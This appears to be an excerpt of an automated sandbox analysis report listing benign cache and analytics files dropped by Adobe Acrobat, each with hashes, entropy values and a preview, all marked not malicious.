Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7892

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3481193901296376
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJM3g98kUwPeUkwRe9:YvXKXaqsPUitorVnGMbLUkee9
MD5:	11C9D22C395C120FFB50D12B4F97C176
SHA1:	A0E3DF4BF5BE5BD07EE786D5F836F8BDDFFA9DE7
SHA-256:	4FDE0C9639CFF08F596CE81C23E7806B7AC70E251409590C5180503AE34F094F
SHA-512:	1E06F75C2B0FE352E0CB1AE6F1CD581AB9A5AE4C5AB885B9E0E9B26E5AD92F17BE8F06B0044075A20DD5D0EC6F89D05D5A8089C4ED69241FB736773490F4A092
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292392599358695
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJfBoTfXpnrPeUkwRe9:YvXKXaqsPUitorVnGWTfXcUkee9
MD5:	F3B83D14940795396FD51422CF684767
SHA1:	0FDE0C1264C1C346FDFC873396D7E49604BE8BB0
SHA-256:	61F6D66F9D266AE50FA9446988FCFE3BAA0852937B1C731580DFDD667807423B
SHA-512:	8DFFE64665A4FF2159C7BF397C12D6BBCED5BB5A434DB94DC5D048B2E0A84E32FE293A22018BB1CFF32234E4DECA2258103355C4A29317E713A39E618B63FFF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.271213674404294
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJfBD2G6UpnrPeUkwRe9:YvXKXaqsPUitorVnGR22cUkee9
MD5:	263026847B5502634F99EEE9872C5855
SHA1:	88275302FC5E9BB17821BC3DE98CA11D162A3EC2
SHA-256:	68719A76A8699A2CE080C946A73AD38F5507FC8468C2BE78FB2E3CE8BED326F7
SHA-512:	95D52F2421F37A42853ED5377BE10F53DDA0690BF0FFEC94DB95DD9C58C99D2293F58C04BAC6301818FC7EBE7023C3E754C1B1ED369C9196024F4CCF181DBF62
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3382630247309075
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJfPmwrPeUkwRe9:YvXKXaqsPUitorVnGH56Ukee9
MD5:	733D23A12CD870B8246A5149121FC5BA
SHA1:	B814C6AE4ACBE133D9221F3B1E7F88FFDF8229CD
SHA-256:	21FA6941EEFC9BDA5169C93B55078EA0AEED50EDA87A03E262F029E87F4D219C
SHA-512:	96715B51DDFC1E787C076CF762647912BDAC361F42371A74CCB84CC41E1251082AB0D23675B45CBB27BCD539B29EBB1DF8208ED3581DD772913E4C70FC4EB1C3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.680387480455152
Encrypted:	false
SSDEEP:	24:Yv6Xy962pLgE9cQx8LennAvzBvkn0RCmK8czOCCSE:Yvh962hgy6SAFv5Ah8cv/E
MD5:	D81A89B3C5D30A34409079E37382ACC1
SHA1:	B8A74F81589B178D51C845CD5C610103C832675C
SHA-256:	84779B3D15C5ECA7C82A04AD91AE2A3CEAA9F9865D155B575140B0C47F3CED95
SHA-512:	868222CA5B70DA1468B0BEFE0660B51E9CF2566F56557D487625B40F0A420DD17FD44ADC889849B92A61594F0CDB1F84762472A9820ACA2962310DE6DD1D81C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28393006200725
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJf8dPeUkwRe9:YvXKXaqsPUitorVnGU8Ukee9
MD5:	B3A3A5009D66EC748DFAD507C685489B
SHA1:	FBA7C5DD591A25765AC8EF442B93778D6748F80B
SHA-256:	0C5D21D48254EB1AF7036C742984BB7748C4BED4F2BE7599CF7A4AAC8FCFCAF0
SHA-512:	8E8E57E79CFA3C37D2F1E827B1E944906A60A1BFC1FB8E9F18EDA944B4AF51E06E434A20E7372FEB0084EF4DB73977C9FD1E4A19AACA6705BFA1B930E01E3978
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.284793936799202
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJfQ1rPeUkwRe9:YvXKXaqsPUitorVnGY16Ukee9
MD5:	6582E6B9207260821361E63BB67157E7
SHA1:	549B91FFF2B3433B4348AE2ED0A4080F8844BEA0
SHA-256:	F05948A171F039B39DE97DF45BAC9FD5F2763A97735BD883E0AD1D9E751D241A
SHA-512:	2A863FC678E684DE17A4A7B7F8515DACCA8A6940B2D76AFBD1AA1BA62ABE1B2AF1959270D87D7FF7111716F0674BE8A08EEAA259CCE2E6F27C673CE1A08E2430
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293233146064661
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJfFldPeUkwRe9:YvXKXaqsPUitorVnGz8Ukee9
MD5:	5F15F00EC0487F0BEDF19EBF5D7305D2
SHA1:	22962A6697A079E63B71A8943113DB43CC373963
SHA-256:	0DA27653C95072649EC97BCFCA82E0CC432B6522184F65B2CA1877BB355DBE5E
SHA-512:	47252907C9E4511027575CDF12547836BD05F4015868D52FF5B6678285143D32B7712F1549F0D280D34E30E5A6FDEA788A313928B5135816416246D7B7F2F800
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.309504216107793
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJfzdPeUkwRe9:YvXKXaqsPUitorVnGb8Ukee9
MD5:	102DE481AF352DD2BCCC4CB0EF10E0D0
SHA1:	EADD5A90050AFA4DAD938387355AFB2D5E8E155A
SHA-256:	5C2839A7170A4ADB8B348F35647717542617AEAA1A0182A88FA137001EC197C4
SHA-512:	86DF43CE07785966E66A9E7EAB0E8308E405A88BE52AF8CFF29DA9D4ABC4F57B242A66EBC9B2D3A39FE5D6A3C157582E2419F6EF6532513196FD893AA4566923
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289943265355996
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJfYdPeUkwRe9:YvXKXaqsPUitorVnGg8Ukee9
MD5:	B66BDD364C6D94EED22A44283105E394
SHA1:	3B7A50CC6DAC63F68C5D16472314F088B5F92FE1
SHA-256:	6F9DD668CC6BBCF86560AAB52D7B411355D24BEC4EAF4736D729921FFAA6F274
SHA-512:	95B48E234E79ADE1CA00A98AA226C31FE43DE7ACCC2AFB4D971E3116F1BB83C02048B26558A6CA0967EC393C0890F4900312A84A3977880930719426A6B8B8A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.276397936611936
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJf+dPeUkwRe9:YvXKXaqsPUitorVnG28Ukee9
MD5:	92FE5859D089DA1D3730570E245AFEC8
SHA1:	3FA0B5B431400A660A3CEC20F47DD94210C73298
SHA-256:	009A5E72891A6E6744CFC369ADF06B9C15A48142287B4BC8FEA935BCCF67B7BA
SHA-512:	D1C9060BBDDD5324898AEBA516258D01A9D20D0704A2A0D856E31E7864060BD223AD24A07C6B1ED84134869849197879995077B99ACBB2C7915AF74324832EA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.273559481481021
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJfbPtdPeUkwRe9:YvXKXaqsPUitorVnGDV8Ukee9
MD5:	E4D66928C8A55D51E8A4876879EBFE76
SHA1:	F23A65AEEEFB2AFF6176BAC69C8A455949DA688A
SHA-256:	159A7C6F80EB1E19B8BB05DDE4F3B67FB068A87ECAAF94B978D1F75A22F58B12
SHA-512:	162D0D6BDAE6A5F688EC07E150F6ECC9D7BCD192AFDFE2AF6099E46B7EE6F2143DAD42B6F294370BDB110EC94502C1CB6B44E32D0D76AE8D5301A8D1B4260EBF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.275093500538692
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJf21rPeUkwRe9:YvXKXaqsPUitorVnG+16Ukee9
MD5:	3B2598F05FA0F9F4165AF0E2934C5AA4
SHA1:	2A712577985BE5EA2DE5A626FFA874C2F92678B1
SHA-256:	9F597D9848776CBD2BCC3A79FB8C716F8BD05BAA67C025679573FEE389D6E02C
SHA-512:	427DA56F7BF85C91B263A59FF03420416E7B0545DD92AB6F758359771C4F46CCDCC2A0ADA5C4C89E5CF6956E895D8D25CFB28EE99C9E37CD487AF1DB0A6A9DDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.650740702858294
Encrypted:	false
SSDEEP:	24:Yv6Xy96qamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSE:Yvh96kBgkDMUJUAh8cvME
MD5:	C236966AA8EAF05E702C243DFFE8A3F8
SHA1:	6CF44D6E8766FB14A512F97F07A06AD0CEDF7205
SHA-256:	12302E37E768BBFD5AB3C46EF0670D85CE27AF9084D0CA97F4DEEB9FC4EE61B3
SHA-512:	29EA3C191C03F9288D53275018231577CEFE455F7B48C93C4D18DBA8F094B8CE9180BB6BD9EAB58C639DFBAF8EA08DD1757C70547C7071ECF2F614A870FFC628
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.252243986140161
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJfshHHrPeUkwRe9:YvXKXaqsPUitorVnGUUUkee9
MD5:	3546E906CC45343B586F5832B4D699EB
SHA1:	749FD62EEDABEA9DB11132302B229652E5920BA6
SHA-256:	E4932EE08DD94312DDAFD7DB7FD0165E0AE56C402FD5B9B96460F883D8774FC5
SHA-512:	06000647D8CB9C4B8210C683CEAC8DDC3030152B8DCB65AC8805993E6C2677E6282FCC3CB1982441AE87DD09BA6B466308C32C1C07CCD562310F6B95A2A03681
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.254550614664198
Encrypted:	false
SSDEEP:	6:YEQXJ2HXk3qsPUib5Glvp0YoCVUoAvJTqgFCrPeUkwRe9:YvXKXaqsPUitorVnGTq16Ukee9
MD5:	40838D6C08DEC471539CF1783A61B347
SHA1:	AE7267D98E7E8796709155BB77555D7B7631A1FD
SHA-256:	9E5F310AC576ED941BE1C8D0E9D12627A8E6A4F69CA15FF86C559C28CEF03848
SHA-512:	2E08B0678F6C086008FAA31C61272366F8BF8F7658BB8763148E41CED3A0DD330072790D4A6E57B44B2406185821E4A8CD2638000081D6DCF19C42CA72E22E68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c6223daf-94e6-4e09-b63b-13ecab1d929b","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736711352300,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142681788274556
Encrypted:	false
SSDEEP:	24:YWCE+racfaykQXfTrS1p5BBfBTCgRqBB48jOtj0S4tys2zvJV2LSiC73WSSndL7j:YWCJjeffnT9Rq3BsqTig43fSndnyL9y
MD5:	686A1EB45FC3EF0C7BC9AB4BA3FDFD98
SHA1:	FBA3FF7F0EDFDE95905FB19CDCE8606785C07503
SHA-256:	3918DA1AE52E2C6A332D7999EA3E50A6A2D56C986CE17D530ADD81782DC5CF86
SHA-512:	FF8580E23415A2F6B1B2EF992B1A1B17CB962858643AC7AB8B20E0C6C17268768960F9EB26346CF580AE989CA6AF4B7D51D54940EB5CCA1B9D9844809917E491
Malicious:	false
